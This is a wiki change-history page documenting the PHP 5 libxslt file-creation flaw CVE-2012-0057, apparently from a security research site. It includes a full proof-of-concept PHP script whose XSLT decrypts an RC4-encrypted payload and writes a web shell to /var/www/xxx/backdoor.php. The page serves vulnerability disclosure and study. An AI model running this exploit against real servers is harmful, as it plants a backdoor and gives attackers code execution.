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Changes for page Application_PHP5

Last modified by Nicolas Gregoire on 2012/02/02 17:29
From version Icon 15.1 Icon
edited by Nicolas Gregoire
on 2012/01/16 11:37
Change comment: There is no comment for this version
To version Icon 19.1 Icon
edited by Nicolas Gregoire
on 2012/01/18 22:39
Change comment: There is no comment for this version

Summary

Details

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Content
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6 6  
7 7  = Creating files =
8 8  
9 -Version 5 of the PHP language uses the [[libxslt>>Engine_libxslt]] engine to transform XML documents using XSLT. Prior to version 5.3.9, calls to libxslt were not restricted via xsltSetSecurityPrefs(). It was then possible to create or overwrite files on the engine side, typically for dropping a PHP Web Shell. This vulnerability ([[Bug #54446>>https://bugs.php.net/bug.php?id=54446||rel="__blank"]]) was patched in version 5.3.9 ([[ChangeLog>>http://php.net/ChangeLog-5.php#5.3.9||rel="__blank"]]).
9 +Version 5 of the PHP language uses the [[libxslt>>Engine_libxslt]] engine to transform XML documents using XSLT. Prior to version 5.3.9, calls to libxslt were not restricted via xsltSetSecurityPrefs(). It was then possible to create or overwrite files on the engine side, typically for dropping a PHP Web Shell. This vulnerability ([[Bug #54446>>https://bugs.php.net/bug.php?id=54446||rel="__blank"]] / [[CVE-2012-0057>>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0057||rel="__blank" title="CVE-2012-0057"]]) was patched in version 5.3.9 ([[ChangeLog>>http://php.net/ChangeLog-5.php#5.3.9||rel="__blank"]]).
10 10  
11 11  == Simple PoC ==
12 12  
... ... @@ -14,7 +14,7 @@
14 14  
15 15  == PoC with crypto ==
16 16  
17 -A better script was later posted on [[OSS-Security>>http://seclists.org/oss-sec/2012/q1/157]] at RedHat request. This PHP script will by default display a pre-filled HTML form including XML data, XSLT code and RC4-encrypted malicious PHP code. When the form is submitted, the user-controlled XML data is transformed using the user-controlled XSLT code. Then, the output of this transformation is displayed in the browser. Meanwhile, the malicious PHP code is decrypted using a static key ("simple_demo") and saved to "/var/www/xxx/backdoor.php".
17 +A better script was later posted on [[OSS-Security>>http://seclists.org/oss-sec/2012/q1/157]] at RedHat request. This PHP script ([[attach:php539-xslt.php]]) will by default display a pre-filled HTML form including XML data, XSLT code and RC4-encrypted malicious PHP code. When the form is submitted, the user-controlled XML data is transformed using the user-controlled XSLT code. Then, the output of this transformation is displayed in the browser. Meanwhile, the malicious PHP code is decrypted using a static key ("simple_demo") and saved to "/var/www/xxx/backdoor.php".
18 18  
19 19  = Executing PHP code =
20 20  
Icon php539-xslt.php
Author
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1 +xwiki:XWiki.NicolasGregoire
Size
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1 +2.0 KB
Content
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1 +
2 +<?php
3 +
4 +// Get parameters
5 +$action = $_POST['action'];
6 +$xml = $_POST['xml'];
7 +$xsl = $_POST['xsl'];
8 +
9 +print "<html><body>";
10 +if ($action == "transform") {
11 +
12 + print "<h2>Ready to transform ...</h2><br/>";
13 +
14 + # LOAD XML FILE
15 + $xmldom = new DOMDocument();
16 + print "XML: <pre>".htmlentities($xml)."</pre><br/>";
17 + $xmldom->loadXML($xml);
18 +
19 + # LOAD XSLT FILE
20 + $xsldom = new DOMDocument();
21 + print "XSL: <pre>".htmlentities($xsl)."</pre><br/>";
22 + $xsldom->loadXML($xsl); // Content of $xXsl may be untrusted !
23 +
24 + # START XSLT
25 + $xslproc = new XSLTProcessor();
26 + $xslproc->importStylesheet($xsldom);
27 +
28 + # TRANSFORM & PRINT
29 + $output = $xslproc->transformToXML($xmldom); // File creation !
30 + print "Output: <pre>".htmlentities($output)."</pre><br/>";
31 +
32 +} else {
33 +
34 + # DISPLAY A PRE-FILLED FORM
35 + print "<h1>Hello!</h1><h2>You just have to click on submit() ...</h2>";
36 + print "Consider modifying the output path (<i>/var/www/xxx/backdoor.php</i>) in the XSL<br/><br/>";
37 + print "<form method='post'>";
38 + print "XML document:<br/>";
39 + print "<textarea name='xml' rows='3' cols='130'><foobar/></textarea><br/><br/>";
40 + print "XSLT code:<br/>";
41 + print "<textarea name='xsl' rows='20' cols='130'>";
42 +print <<<XSLT
43 +<xsl:stylesheet
44 + version="1.0"
45 + xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
46 + xmlns:cry="http://exslt.org/crypto"
47 + xmlns:sax="http://icl.com/saxon"
48 + extension-element-prefixes="cry sax">
49 +
50 + <xsl:template match="/">
51 + <sax:output href="/var/www/xxx/backdoor.php" method="text">
52 + <xsl:value-of select="cry:rc4_decrypt('simple_demo', '0262ee34196ae2df1ab850c1705ee0c38dc6ae42bbeecf140dea99675fb35539a4dcbeaf5c2e6a6cae679843dbf3650275a6be07464047dc17eff2661b8f065f0ae3abcd3b33e9fd3c48a36f2201ae65e093fa45b0a1b55cd408ec815a8dada050b8881b99e957704dc5f17208d105966680a26f')"/>
53 + </sax:output>
54 + <xsl:text>A webshell have been dropped</xsl:text>
55 + </xsl:template>
56 +
57 +</xsl:stylesheet>
58 +XSLT;
59 + print "</textarea><br/><br/>";
60 + print "<input type='hidden' name='action' value='transform'/>";
61 + print "<input type='submit'/></form>";
62 +
63 +}
64 +print "</body></html>";
65 +
66 +?>
67 +
68 +